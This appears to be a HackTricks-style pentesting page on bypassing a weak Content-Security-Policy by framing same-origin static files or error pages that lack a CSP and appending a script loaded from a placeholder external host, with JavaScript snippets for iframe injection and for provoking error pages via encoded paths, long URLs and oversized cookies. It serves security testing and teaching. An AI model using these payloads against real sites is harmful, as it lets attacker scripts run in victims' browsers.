// HackTricks · Web Pentesting

CSP Bypass via 'self', 'unsafe-inline', and Iframes

CSP Bypass via 'self', 'unsafe-inline', and Iframes

Consider this policy:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Because script-src is absent, default-src is its fallback. The policy allows same-origin scripts and inline scripts, but it does not allow string-to-code APIs such as eval() or string arguments to setTimeout() and setInterval() because 'unsafe-eval' is absent. It also uses default-src as the fallback for several other resource types.[1]

This is already a weak CSP: 'unsafe-inline' permits inline JavaScript. The iframe technique below matters when an attacker can execute inline code in the protected parent but needs a less restricted same-origin child document to load another script.[1][2]

Via Text & Images

Some browser and server combinations render a same-origin text or image response placed in an iframe as a document. Common candidates include robots.txt, favicon.ico, stylesheets, and other static resources. If that response has no CSP of its own and remains same-origin, script in the parent may be able to access the child DOM and append a script element. This behavior is content-type-, header-, and browser-dependent; verify it on the exact target rather than treating it as universal.[2]

frame = document.createElement("iframe")
frame.onload = () => {
  script = document.createElement("script")
  script.src = "//example.com/csp.js"
  frame.contentDocument.head.appendChild(script)
}
frame.src = "/css/bootstrap.min.css"
document.body.appendChild(frame)

Via Errors

An application or reverse proxy may also return same-origin error documents without the normal CSP. If such a response can be framed and accessed by the parent, it can provide the same less-restricted child context.[2]

// Inducing an nginx error
frame = document.createElement("iframe")
frame.src = "/%2e%2e%2f"
document.body.appendChild(frame)

// Triggering an error with a long URL
frame = document.createElement("iframe")
frame.src = "/" + "A".repeat(20000)
document.body.appendChild(frame)

// Generating an error via extensive cookies
for (var i = 0; i < 5; i++) {
  document.cookie = i + "=" + "a".repeat(4000)
}
frame = document.createElement("iframe")
frame.src = "/"
document.body.appendChild(frame)
// Remove the test cookies after execution.
for (var i = 0; i < 5; i++) {
  document.cookie = i + "=; Max-Age=0; path=/"
}

When using one of the error responses, attach the handler before navigating the frame so that the child document is fully loaded before it is modified:

frame.onload = () => {
  script = document.createElement("script")
  script.src = "//example.com/csp.js"
  frame.contentDocument.head.appendChild(script)
}

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.